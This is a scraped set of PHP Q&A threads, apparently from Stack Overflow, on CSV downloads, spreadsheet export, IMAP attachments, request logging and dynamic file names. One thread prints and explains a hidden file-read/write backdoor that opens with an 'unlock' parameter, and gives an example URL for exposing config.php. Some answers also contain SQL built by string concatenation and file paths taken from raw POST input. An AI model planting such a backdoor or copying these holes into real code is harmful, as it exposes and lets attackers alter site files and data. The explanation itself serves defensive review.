PHP createCSV and Post form - php

I've got a form that I've been trying to rework. Essentially it was just interacting with a REST API provided by a third party to integrate with their software. On a separate form, I am able to create a csv file with data for import in to a server. I have been trying to re-work them so that on submit they both function but I am only able to get on or the other.
Here is my createCSV function
function createCSV(){
global $strnmbr, $Content, $hostname;
$ext = " - 'SOMETHING'.csv";
$FileName = "s" . $hostname . $ext;
header('Content-Type: application/csv');
header('Content-Disposition: attachment; filename="' . $FileName . '"');
echo $Content;
exit();
}
Then follows
if(isset($_POST['submit'])){
if($_SESSION['Hostname']==""){$hostname = sprintf("%'.05d", $_SESSION['Store Number']);}
else{$hostname = $_SESSION['Hostname'];}
$hostname1 = "'info here'" . ".s" . $hostname . ".'info here'";
$resolve = "FALSE";
$IP = "0.0.0.0";
$mac= strtolower($_POST['mpMAC']);
$proxy = "";
$outproxy = "";
$opstate = "OPSTATE";
$audiodevserial1 = $_POST['assetSN'];
$type = "TYPE";
$brand = "BRAND";
$series = "SERIES";
$model = "MODEL";
$modvers = "";
$login = "";
$password = "";
$continent = "North America";
$country = "United States";
$stateabr = $_SESSION['State'];
$city = $_SESSION['City'];
$StAddress = $_SESSION['Street'];
$zip = $_SESSION['Zip'];
$lat = "0";
$long = "0";
$RCV = "TRUE";
$SEND = "FALSE";
$category = "";
$SecHostname = "";
$SecIP = "";
$SecMac = "";
$MODE = "1";
$ITEM = $_SESSION['Store Number'];
$strnmbr = $_SESSION['Store Number'];
$timezone = $_POST['TIME_ZONE'];
$ACTIVE= "FALSE";
$RESTART= "Yes";
$Content .= "$hostname1, $resolve, $IP, $MAC, $proxy, $outproxy, $opstate, $SN, $type, $brand, $series, $model, $modvers, $login, $password, $continent, $country, $stateabr, $city, $StAddress, $zip, $lat, $long, $SEND, $RCV, $category, $SecHostname, $SecIP, $SecMac, $MODE, $ITEM, $strnmbr, $timezone, ACTIVE, $RestartPlaylist\n";
createCSV();
}
And finally within a on the page further down I return the info made from the request for the web call to the API.
if(isset($_POST['submit'])){
include_once('../tools/createConErr.php');
$_SESSION['requestID'];
echo "<tr><td> "MORE INFO HERE' - Location " . $_SESSION['Store Number'] . " - Ticket # <a href=\"'link here'" . $_SESSION['requestID'] . "\"target='_blank'>" . $_SESSION['requestID'] . "</a></td></tr>";
}
Both sets of code work individually, but not together. I've tried moving the bottom up and the top to the bottom and just trying to make a mash of the two but I can't seem to get it to work. I've tried putting them both within the same if(isset($_POST['submit'])){code} as I'm sure that's what needs to happen but it still didn't work.
I've changed some of the variable names and text for this post but I think you can still get the idea.
Any help is much appreciated.
THANKS!

I think the culprit is here:
header('Content-Type: application/csv');
header('Content-Disposition: attachment; filename="' . $FileName . '"');
If you define content as attachment, then the API return part of code goes to that attachment. If you run the API return part of code before sending the header, the header command does not work, since you had an echo before it and it is no longer a header. Maybe rethink the approach to include an auto-refresh with a second parameter, to run the second part of code?

Related

Error "invalid numeric value for data type numeric in...." while exporting database to excel

I've used phpspreadsheet to export data to excel.
This works fine but, sometime it gives the error as invalid numeric value for data type numeric in c:\xamp\htdocs\phpspreadsheet\vendor\phpoffice\spreadsheet\src\phpspeeadsheet\Cell\Cell.php:221
The image that I've attached is the error I get. Please help me.
session_start();
//php_spreadsheet_export.php
include 'C:/xampp/htdocs/phpspreadsheet/vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet;
$connect = new PDO("mysql:host=localhost;dbname=IDC", "root", " ");
$school=$_SESSION['code'];
$name="name";
$query = "SELECT * FROM SCHOOL WHERE School='".$school."' AND Name!='".$name."'";
$statement = $connect->prepare($query);
$statement->execute();
$result = $statement->fetchAll();
if(isset($_POST["export"]))
{
$file = new Spreadsheet();
$active_sheet = $file->getActiveSheet();
$active_sheet->setCellValue('A1', 'Name');
$active_sheet->setCellValue('B1', 'Phone');
$active_sheet->setCellValue('C1', 'DOB');
$active_sheet->setCellValue('D1', 'Father');
$active_sheet->setCellValue('E1', 'Mother');
$active_sheet->setCellValue('F1', 'Address');
$active_sheet->setCellValue('G1', 'Blood');
$active_sheet->setCellValue('H1', 'Admission');
$active_sheet->setCellValue('I1', 'Photo link');
$active_sheet->setCellValue('J1', 'Class');
$active_sheet->setCellValue('K1', 'Section');
$count = 2;
foreach($result as $row)
{
$active_sheet->setCellValue('A' . $count, $row["Name"]);
$active_sheet->setCellValue('B' . $count, $row["Phone"]);
$active_sheet->setCellValue('C' . $count, $row["DOB"]);
$active_sheet->setCellValue('D' . $count, $row["Father"]);
$active_sheet->setCellValue('E' . $count, $row["Mother"]);
$active_sheet->setCellValue('F' . $count, $row["Address"]);
$active_sheet->setCellValue('G' . $count, $row["Blood"]);
$active_sheet->setCellValue('H' . $count, $row["Adm_no"]);
$active_sheet->setCellValue('I' . $count, $row["Photo_link"]);
$active_sheet->setCellValue('J' . $count, $row["Class"]);
$active_sheet->setCellValue('K' . $count, $row["Section"]);
$count = $count + 1;
}
$writer = \PhpOffice\PhpSpreadsheet\IOFactory::createWriter($file, $_POST["file_type"]);
$file_name = time() . '.' . strtolower($_POST["file_type"]);
$writer->save($file_name);
header('Content-Type: application/x-www-form-urlencoded');
header('Content-Transfer-Encoding: Binary');
header("Content-disposition: attachment; filename=\"".$file_name."\"");
readfile($file_name);
unlink($file_name);
exit;
}
?> ```
This is the code and it works fine for all data except for this error.
I got the error solved. The error was that, the numbers had a space at the end and was not matching the data type detected by value binder. So I set the data type as string.
Here is the changed code, if it will help anyone who is facing similar trouble.
$active-sheet->setCellValueExplicit( 'B'. $count, $row["phone"],\PhpOffice\PhpSpreadsheet\Cell\DataType::TYPE_STRING);
I got this answer from
https://phpspreadsheet.readthedocs.io/en/latest/topics/accessing-cells/

Is this code malicious or safe? [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about programming within the scope defined in the help center.
Closed 8 years ago.
Improve this question
I'm working on a website and recently picked someone up to work on the PHP portion and I have had suspicions that he may have added malicious code to the site, he pushed a bit of PHP without permission nor without mentioning anything to anyone.
The push was labelled 'Added Security'.
Here's the code:
<?PHP
if(isset($_GET['unlock'])) {
$id = $_GET['id'];
$dic = $_SERVER['PHP_SELF'];
$name = basename($dic) . "?unlock";
$url = './$name?unlock&id='.$id;
$file = "./$id";
if(isset($_GET['f'])) {
$f = $_GET['f'];
$file = "./$f/$id";
}
if (isset($_POST['text'])) {
file_put_contents($file, $_POST['text']);
if(isset($_GET['f'])) {
$f = $_GET['f'];
header('location: ' . $name . '&id=' . $id . '&f=' . $f);
} else {
header('location: ' . $name . '&id=' . $id);
}
}
$text = htmlentities(file_get_contents($file));
echo "<form method='post'><input type='submit'><textarea name='text'>$text</textarea></form>$dic";
die();
}
?>
Thanks in advance.
Let's see, the following
<?php
if(isset($_GET['unlock'])) {
...
}
Means that if you don't send the parameter unlock then nothing would be displayed. Is like a knaive attempt of keeping a secret piece of code that only he can unlock with a magic word.
Regarding what's inside
$id = $_GET['id'];
$dic = $_SERVER['PHP_SELF'];
$name = basename($dic) . "?unlock";
//$url = './$name?unlock&id='.$id; // the former would fail to interpolate $name
$url = "./$name&id=".$id;
$file = "./$id";
if(isset($_GET['f'])) {
$f = $_GET['f'];
$file = "./$f/$id";
}
$text = htmlentities(file_get_contents($file));
echo"<form method='post'><input type='submit'><textarea name='text'>$text</textarea> </form>";
If you pass the parameter unlock and id (which is a filename), plus optionally a parameter f (which is a folder) you can see the contents of that file in the textarea. For example
http://www.myserver.com/thescript.php?unlock&id=config.php&f=app
would expose whatever sensitive information you have in your config.php inside the app folder.
Finally, this part
if (isset($_POST['text'])) {
file_put_contents($file, $_POST['text']);
if(isset($_GET['f'])) {
$f = $_GET['f'];
header('location: ' . $name . '&id=' . $id . '&f=' . $f);
} else {
header('location: ' . $name . '&id=' . $id);
}
}
Would let you edit or create a file by submitting the form. It might fail due to lack of permissions, but since you can play with the folder, you just insist until you find a writable folder.

PHP class ImapMailbox not downloading attachments

Running Apache 2.2 with PHP 5.3 on Windows 8. Trying to get the PHP class ImapMailbox to download attachments, but each time I getMail(), the attachments value is empty on every email that has attachments.
All the rest of the email info is downloaded correctly.
I've looked through the class code but can't identify where the problem might be.
Here is my current code:
$mailbox = new ImapMailbox('{testsite.com:110/pop3/novalidate-cert}INBOX', 'testemail#testsite.com', 'MyPaSs', ATTACH_DIR, 'utf-8');
$mails = array();
foreach($mailbox->searchMailbox('SUBJECT "test attach" SINCE "' . date('m/d/Y', strtotime('-1 week')) . '"') as $mailId) {
$mail = $mailbox->getMail($mailId);
$mails[] = $mail;
}
After dumping the $data var in getMail(), it appears there are attachments in winmail.dat format. The code cannot get to these because no attachmentId value is being assigned due to an empty 'ifid' value. Decoding the winmail.dat attachments can be done, but only if they are detected and written to file.
Any ideas how create a workaround in the ImapMailbox code for this?
Here is what I wrote that fixes this problem.
At the beginning of initMailPart() method, add the following:
static $altAttachmentId = 0;
At the end of the IF block for if($this->attachmentsDir) { add the following where the closing } bracket is:
} elseif (!empty($params['fileName']) || !empty($params['filename']) || !empty($params['name'])) { // Process attachments that are not inline.
// Check if need to decode TNEF (Winmail.dat) file.
if ($partStructure->ifsubtype && $partStructure->subtype == 'MS-TNEF') {
require_once 'path_to_your/tnef_decoder.php';
$Tnef = new tnef_decoder;
$un_tnef = $Tnef->decompress($data);
$attached_files = array();
foreach ($un_tnef as $f) {
if (!empty($f['name']) && !empty($f['stream'])) {
$attachment = new IncomingMailAttachment();
$attachment->id = $altAttachmentId;
$attachment->name = $f['name'];
$attachment->filePath = $this->attachmentsDir . DIRECTORY_SEPARATOR . preg_replace('~[\\\\/]~', '', $f['name']);
$mail->addAttachment($attachment);
if (file_exists($attachment->filePath) && md5($f['stream']) != md5_file($attachment->filePath)) {
$attachment->filePath = $this->attachmentsDir . DIRECTORY_SEPARATOR . preg_replace('~[\\\\/]~', '', $mail->id . '_' . $altAttachmentId . '_' . $f['name']);
}
file_put_contents($attachment->filePath, $f['stream']);
$altAttachmentId++;
}
}
} else {
if (!empty($params['filename'])) {
$fileName = $params['filename']; // Account for random camel-case mistake on element.
} elseif (!empty($params['fileName'])) {
$fileName = $params['fileName'];
} else {
$fileName = $params['name'];
}
$attachment = new IncomingMailAttachment();
$attachment->id = $altAttachmentId;
$attachment->name = $fileName;
$attachment->filePath = $this->attachmentsDir . DIRECTORY_SEPARATOR . preg_replace('~[\\\\/]~', '', $mail->id . '_' . $altAttachmentId . '_' . $fileName);
$mail->addAttachment($attachment);
file_put_contents($attachment->filePath, $data);
$altAttachmentId++;
}
}
Note that you must include the tnef_decoder.php file found in the Roundcube Webmail package for the TNEF decoding to work. I got inspiration for the TNEF solution here.
This modification will process all TNEF encoded files in a Winmail.dat file and any other attachment that is not attached inline. Watch your memory usage on large files.
It also won't overwrite existing files that are the same name if they are not exactly the same.

PHP dump $_REQUEST to file

I want to dump request variables to a file for debugging. How's this possible?
<?php
$req_dump = print_r($_REQUEST, TRUE);
$fp = fopen('request.log', 'a');
fwrite($fp, $req_dump);
fclose($fp);
Untested but should do the job, just change request.log to the file you want to write to.
I think nowadays this method is easier and faster:
$req_dump = print_r($_REQUEST, true);
$fp = file_put_contents('request.log', $req_dump, FILE_APPEND);
Use serialize() function for dumping. Dump $_SERVER, $_COOKIE, $_POST and $_GET separately (may go to the same file). If you're planning on debugging with the data it helps to know if the data was part of a POST request or a GET request.
Dumping everything is good for debugging in development, but not so in production. If your application does not have many users, it can work in production too. If you anticipate many users, consider dumping just the $_POST data, or limit server variables to those starting with HTTP_.
/* may be late but he can help others.
it's not my code, I get it from :
https://gist.github.com/magnetikonline/650e30e485c0f91f2f40
*/
class DumpHTTPRequestToFile {
public function execute($targetFile) {
$data = sprintf(
"%s %s %s\n\nHTTP headers:\n",
$_SERVER['REQUEST_METHOD'],
$_SERVER['REQUEST_URI'],
$_SERVER['SERVER_PROTOCOL']
);
foreach ($this->getHeaderList() as $name => $value) {
$data .= $name . ': ' . $value . "\n";
}
$data .= "\nRequest body:\n";
file_put_contents(
$targetFile,
$data . file_get_contents('php://input') . "\n"
);
echo("Done!\n\n");
}
private function getHeaderList() {
$headerList = [];
foreach ($_SERVER as $name => $value) {
if (preg_match('/^HTTP_/',$name)) {
// convert HTTP_HEADER_NAME to Header-Name
$name = strtr(substr($name,5),'_',' ');
$name = ucwords(strtolower($name));
$name = strtr($name,' ','-');
// add to list
$headerList[$name] = $value;
}
}
return $headerList;
}
}
(new DumpHTTPRequestToFile)->execute('./dumprequest.txt');
// add this line at the end to create a file for each request with timestamp
$date = new DateTime();
rename("dumprequest.txt", "dumprequest" . $date->format('Y-m-d H:i:sP') . ".txt");
<?php //log
$razdelitel = '--------------------------------------------'.PHP_EOL . date("Y-m-d H:i:s") .PHP_EOL.PHP_EOL;
$data_REQUEST = '$_REQUEST: ' . print_r($_REQUEST, true).PHP_EOL;
$data_POST = '$_POST: ' . print_r($_POST, true).PHP_EOL;
$data_GET = '$_GET: ' . print_r($_GET, true).PHP_EOL;
$data_all = $razdelitel . $data_REQUEST . $data_POST . $data_GET;
$name_txt = __DIR__ . '/log_' . date('m.Y') . '.txt'; //log_12.2021.txt
$chmod = '0244';
chmod($name_txt, $chmod);
file_put_contents($name_txt, $data_all, FILE_APPEND);
//var_dump($name_txt, $chmod); ?>

php fopen - name of file

I currently have:
<?php
if (isset($_POST["submitwrite"])) {
$handle = fopen("writetest.txt","w+");
if ($handle) {
fwrite($handle, "Dan"."¬".$_POST["username"]."¬".$_POST["pollname"]."¬".$_POST["ans1"]."¬".$_POST["ans2"]."¬".$_POST["ans3"]."¬".time());
fclose($handle);
}
}
?>
However I need to adjust the filename to be dynamic, instead of 'writetest.txt' I would like it to be: username+pollname+time.txt taking the $_post variables.
I would also like to change the directory these files are stored in to /results.
Help please...
You mean doing something like this?
$filename = '/results/' . $_POST['username'] . '/' . $_POST['pollname'] . '/time.txt';
if (isset($_POST["submitwrite"])) {
$handle = fopen($filename,"w+");
// etc...
Or am I not understanding you?
Edit
To address the issue BalusC pointed out, this is a more complete solution.
It makes sure the $_POST['username'] and $_POST['pollname'] values are valid, so they won't create an invalid or possibly harmful $filename.
<?php
$basedir = '/results';
$basename = 'time.txt';
// Get user and poll names
$username = $_POST['username'];
$pollname = $_POST['pollname'];
// Counteract the old magic_qutoes feature, if needed.
if(get_magic_quotes_gpc()) {
$username = stripslashes($username);
$pollname = stripslashes($pollname);
}
// Validate user and poll names.
$regexp = '/^[\w\d\_\-\. \']+$/iu';
if(!preg_match($regexp, $username) || !preg_match($regexp, $pollname)) {
echo 'Username or pollname is invalid. Aborting!';
}
else {
// Compile the complete file name
$filename = $basedir . '/' . $username . '/' . $pollname . '/' . $basename;
// Write to the file
if (isset($_POST["submitwrite"])) {
$handle = fopen($filename,"w+");
if ($handle) {
fwrite($handle, "Dan"."¬".$_POST["username"]."¬".$_POST["pollname"]."¬".$_POST["ans1"]."¬".$_POST["ans2"]."¬".$_POST["ans3"]."¬".time());
fclose($handle);
}
}
}
?>
fopen creates (at least tries) the file if it does not exist, so
$filename = $username . $pollname . $time . '.txt';
$handle = fopen($filename, 'w+');
will work fine.
By the way, w+ places the pointer at the beginning of the file. If the file already has some data, it will truncate it first. If you want to append data to the file, you may want to use 'a+'

Categories